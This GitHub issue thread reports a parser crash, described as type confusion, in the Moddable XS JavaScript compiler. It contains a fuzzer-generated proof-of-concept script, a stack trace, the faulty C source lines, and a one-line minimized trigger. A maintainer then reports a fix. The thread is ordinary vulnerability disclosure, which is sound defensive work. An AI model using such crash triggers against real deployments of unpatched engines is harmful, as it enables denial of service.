

New issue

[Jump to bottom](#)

# Type confusion vulnerability #351

🔒 Closed rain6851 opened this issue on Apr 17, 2020 · 5 comments

rain6851 commented on Apr 17, 2020

## Enviroment

```
operating system: ubuntu18.04
apt-get install libgtk-3-dev
export MODDABLE=~/.src/moddable
cd $MODDABLE/build/makefiles/linux
make

test command: ./build/bin/linux/release/xsc poc
```

## poc

```
function main() {
    let arr = [
        1.1,
        1.1,
        1.1, 1.1,
        1.1
    ];
    var DAQH = new Int32Array([
        arr,
        47483647,
        arr,
        arr
    ]);
    var ECrE = new WeakSet([
        [
            arr,
            arr,
            arr,
            3.141592653589793,
            1200,
            arr,
            arr,
            arr
        ],
        [
            0.1,
            arr,
            arr,
            arr,
            arr,
            -1,
            arr,
            arr,
            arr
        ]
    ]);
    var QWYA = new WeakSet([
        [
            9007199254740992,
            arr,
            arr,
            -9007199254740994,
            1e-81
        ],
        [
            1518500249,
            arr,
            arr,
            -9007199254740992
        ]
    ]);
    opt(function () {
    });
    var BXxH = new Int16Array([
        arr,
        3.141592653589793,
        1e-15,
        arr,
        arr,
        9007199254740994,
        arr
    ]);
    var RQpT = arr < BXxH['3'];
    var JXHX = opt(function () {
    });
    var CCfc = new Array([
        9007199254740990,
        arr,
        arr,
        arr
    ]);
    var KGzE = new Uint16Array([
        arr,
        -4294967297,
        4294967296,
```

```

1e-81,
-4294967297,
3.141592653589793,
2147483648
]);
var CPYW = new Set([
1.7976931348623157e+308,
KGzE['3'],
arr,
KGzE['6'],
KGzE['2'],
-4294967295
]);
var zdXw = new WeakSet([
[
arr,
arr,
arr
],
[
-2147483647,
1e-81,
arr,
arr
]
]);
var Ywyk = zdXw.delete(1518500249);
var yGiG = new Int16Array([
-4294967295,
KGzE['4'],
0.1,
1200,
-1
]);
var jQrt = 0 != arr;
var GQFe = new Set([
1,
arr,
arr,
3.141592653589793,
arr,
arr,
3037000498
]);
var sjsZ = opt(function () {
});
var bxnE = new WeakSet([
[
arr.length,
5,
0.1,
arr
],
[
0.2,
1e-81,
arr.length,
arr,
arr,
-1,
arr
]
]);
arr = bxnE.add(arr);
bxnE = bxnE.add(arr);
var zMRn = new Int32Array([
1e+81,
arr,
arr.length,
arr,
arr,
arr,
3
]);
function opt(f) {
arr[0] = 1.1;
var K2sQ = ~~9007199254740991;
var CbWF = !0;
arr[2] = 1.1;
var bHeM = !2147483648;
var eYaX = new WeakSet([
[],
[
-9007199254740994,
1e+400,
arr.length,
-Infinity,
arr
]
]);
arr[3] = 1.1;
}
let r0 = () => '0';
for (var i = 0; i < 4096; i++)
opt(r0);
opt(() => {
arr[ ] = {};
return '0';
});
}
main();

```

**vulnerability description:**

The stack traceback is shown in the figure:

```
[#0] 0x5555556a37 - fxCoderCountParameters(self=0x7ffffffccf0, params=0x555557be79b)
[#1] 0x5555557172d - fxFunctionNodeCode(it=0x555557be888, param=0x7ffffffccf0)
[#2] 0x5555556c446 - fxNodeDispatchCode(it=0x555557be888, param=0x7ffffffccf0)
[#3] 0x5555556f76d - fxDefineNodeCode(it=0x555557be8e8, param=0x7ffffffccf0)
[#4] 0x5555556bdc7 - fxScopeCodeDefineNodes(self=0x555557bd478, coder=0x7ffffffccf0)
[#5] 0x55555572dbb - fxModuleNodeCode(it=0x555557beb48, param=0x7ffffffccf0)
[#6] 0x5555556c446 - fxNodeDispatchCode(it=0x555557beb48, param=0x7ffffffccf0)
[#7] 0x555555687c3 - fxParserCode(parser=0x7ffffffce00)
[#8] 0x5555559a68a - main(argc=0x2, argv=0x7ffffffe328)
```

When processing js code, first `fxParserTree` will be called to generate a node tree, And when met:

```
arr[ ] = {};
```

It can cause errors in object references, which can cause type confusion. The specific vulnerability trigger point is on line `xsCode.c: 1153`, as shown in the figure

```
1148 txInteger fxCoderCountParameters(txCoder* self, txNode* params)
1149 {
1150     txNode* item = ((txParamsBindingNode*)params)->items->first;
1151     txInteger count = 0;
1152     while (item) {
1153         // item=0x00007ffffffca18 - [...] -> 0x0000000000000000
1154         if (item->description->token == XS_TOKEN_REST_BINDING)
1155             break;
1156         if (item->description->token != XS_TOKEN_ARG)
1157             break;
1158         count++;
1159         item = item->next;
```

The current item is considered a temporary function type that has been declared, but in fact it is an undefined array type in poc.

## PoC construction

```
function main() {
    arr[ ] = {};
}
main();
```

Simply assign a value to an undefined array.

rain6851 commented on Apr 24, 2020

Author

@bterlson @rwaldron @pmcneil @nodebotanist

rain6851 commented on May 4, 2020

Author

@phoddie @mkellner @Moddable-OpenSource please check the issue

  erights mentioned this issue on May 5, 2020

**XS deep freeze conflicts with SES security constraints** Agoric/agoric-sdk#1058

[Open](#)

phoddie commented on May 7, 2020

Collaborator

[Fix](#) pushed.

I looks like you are using some kind of fuzzer. Certainly the code doesn't look obviously useful. :) Would you mind sharing how you generated this test?

rain6851 commented on May 7, 2020

Author

[Fix](#) pushed.

I looks like you are using some kind of fuzzer. Certainly the code doesn't look obviously useful. :) Would you mind sharing how you generated this test?


I implemented a tool for testing and I will publish a paper about it in the future.

 1

phoddie commented on May 7, 2020

Collaborator

Very cool. The bug reports are much appreciated. Thank you.

 phoddie closed this as completed on May 22, 2020

Assignees

No one assigned

Labels

None yet

---

Projects

None yet

---

Milestone

No milestone

---

Development

No branches or pull requests

---

2 participants

